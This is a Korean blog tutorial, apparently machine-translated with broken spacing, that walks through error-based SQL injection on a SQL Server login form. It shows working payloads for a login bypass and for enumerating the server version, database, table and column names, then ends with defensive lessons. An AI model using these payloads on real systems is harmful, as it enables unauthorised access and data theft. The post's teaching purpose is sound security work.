SQL 주입 전 과정 깊이 분석
초기 주입-검증 우회,직접 로그 인
회사 사이트 로그 인 상 자 는 다음 과 같다.
계 정 비밀 번 호 를 제외 하고 한 회사 이름 의 입력 상자 가 있 습 니 다.입력 상자 의 형식 에 따라 SQL 의 작성 방법 은 다음 과 같 습 니 다.
SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'
나 는 앞의 두 가지 모두 검 사 를 했 는데,세 번 째 입력 상자 가 소홀히 되 었 다 는 것 을 발견 했다.구멍 은 바로 여기에 있다!주입 시작,입력 상자 에 다음 내용 을 입력 하 십시오:사용자 이름 을 막 쓰 고 비밀 번 호 를 비 워 둔 상태 에서 로그 인 버튼 을 눌 렀 더 니 성공 적 으로 로그 인 했 습 니 다.
최종 SQL 을 보면 그 이 유 를 찾 을 수 있 습 니 다.
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'
코드 를 통 해 알 수 있 듯 이 앞 에 있 는 작은 따옴표 가 닫 히 고 뒤에 있 는 작은 따옴표 가'-'에 의 해 주석 되 었 으 며 중간 에 영원히 성립 되 는 조건 인'1=1'이 하나 더 생 겨 서 모든 문자 가 성공 적 으로 로그 인 할 수 있 는 결 과 를 초래 했다.Sql 주입 의 위 해 는 익명 로그 인 만 이 아니다.중급 주입-이상 을 통 해 정 보 를 얻 습 니 다.
현재 세 번 째 입력 상자 에 기록 합 니 다:
‘or 1=(SELECT @@version) C
다음 과 같다.배경 SQL 이 이렇게 되 었 습 니 다:
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp=''
or 1=(SELECT @@VERSION)--'
판단 조건 이 1=(SELECT@@VERSION),이 글 씨 는 틀림없이 오 류 를 초래 할 수 있 지만,실 수 는 바로 우리 가 원 하 는 것 이다.로그 인 을 클릭 하면 페이지 에 다음 과 같은 정보 가 나타 납 니 다.
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45
Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit)
on Windows NT 6.1
무 서운 일이 벌 어 졌 다.서버 운영 체제 와 SQL Server 버 전 정보 가 오 류 를 통 해 나 왔 다.
위해 확대-서버 의 모든 라 이브 러 리 이름,표 이름,필드 이름 가 져 오기
이어서 우 리 는 입력 상자 에 다음 과 같은 정 보 를 입력 합 니 다.
t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--
이때 세 번 째 입력 상자 에 글자 길이 의 제한 이 있 음 을 발 견 했 습 니 다.그러나 이러한 클 라 이언 트 의 제한 은 허구 입 니 다.Google 브 라 우 저 를 통 해 바로 제거 할 수 있 습 니 다.
로그 인 을 누 르 면 돌아 오 는 정 보 는 다음 과 같 습 니 다.
Conversion failed when converting the nvarchar value 'master' to data type int.
데이터베이스 이름"master"가 이상 을 통 해 표 시 됩 니 다!위 SQL 문장의 번 호 를 순서대로 바 꾸 고,
서버 에 있 는 모든 데이터베이스 의 이름 을 얻 을 수 있 습 니 다.
이어서 입력 정 보 는 다음 과 같다.
b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--
다음 과 같은 반환 정 보 를 얻 었 습 니 다.Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.
우 리 는 master 데이터베이스 의 첫 번 째 표 이름 을 얻 었 다."spt"fallback_db”,
위 와 같이 순서대로 번 호 를 바 꾸 면 이 라 이브 러 리 의 모든 표 이름 을 얻 을 수 있 습 니 다.
지금 우 리 는"spt"로fallback_db 표 의 예 를 들 어 이 표 의 모든 필드 이름 을 가 져 오 려 고 합 니 다.입력 상자 에 다음 코드 를 입력 하 십시오:
b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='spt_fallback_db');
그래서 다음 과 같은 오 류 를 얻 었 습 니 다."Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";
이렇게 첫 번 째 필드 이름"xservername'이 나 왔 습 니 다.번 호 를 차례대로 바 꾸 면 모든 필드 이름 을 옮 겨 다 닐 수 있 습 니 다.
최종 목적-데이터베이스 데이터 가 져 오기
여기까지 썼 습 니 다.우 리 는 SQL 주입 을 통 해 모든 데이터 베이스,표,필드 를 얻 을 수 있다 는 것 을 알 고 있 습 니 다.본 논문 이 완전히 주입 튜 토리 얼 로 전락 하 는 것 을 방지 하기 위해 데 이 터 를 얻 는 코드 는 더 이상 설명 하지 않 습 니 다.이 글 의 목적 도 달성 되 었 습 니 다.SQL 주입 은 무엇 을 의미 합 니까?데이터베이스 에 있 는 모든 데 이 터 를 도 둑 맞 을 수 있다 는 뜻 이다.
이 위 해 를 알 게 된 후에 도 SQL 주입 구멍 을 무시 하 는 사람 이 있 을 수 있 습 니까?
결어
안전성 에 대해 본 고 는 몇 가 지 를 요약 할 수 있다.
1.사용자 가 입력 한 내용 에 대해 항상 경계해 야 한다.
2.클 라 이언 트 의 인증 만 검증 되 지 않 은 것 과 같다.
3.서버 오류 정 보 를 사용자 에 게 노출 시 키 지 마 세 요.
그 밖 에 나 는 몇 가 지 를 더 보충 해 야 한다.
1.SQL 주입 은 입력 상자 뿐만 아니 라 Url 을 통 해 목적 을 달성 할 수 있 습 니 다.
2.서버 오류 페이지 를 제외 하고 데이터베이스 정 보 를 얻 을 수 있 는 다른 방법 도 있다.
3.소프트웨어 를 통 해 주입 행 위 를 모 의 할 수 있 는데 이런 방식 으로 정 보 를 훔 치 는 속도 가 생각 보다 빠르다.
4.구멍 은 언어 플랫폼 과 무관 하 다.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
Redash를 사용할 때 몰랐던 SQL을 쓰는 법을 배웠습니다.최근 redash에서 sql을 쓸 기회가 많고, 이런 쓰는 방법이 있었는지와 sql에 대해 공부를 다시하고 있기 때문에 배운 것을 여기에 씁니다. Redash란? 월별로 데이터를 표시하고 싶습니다 주별로 데이터를 표...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.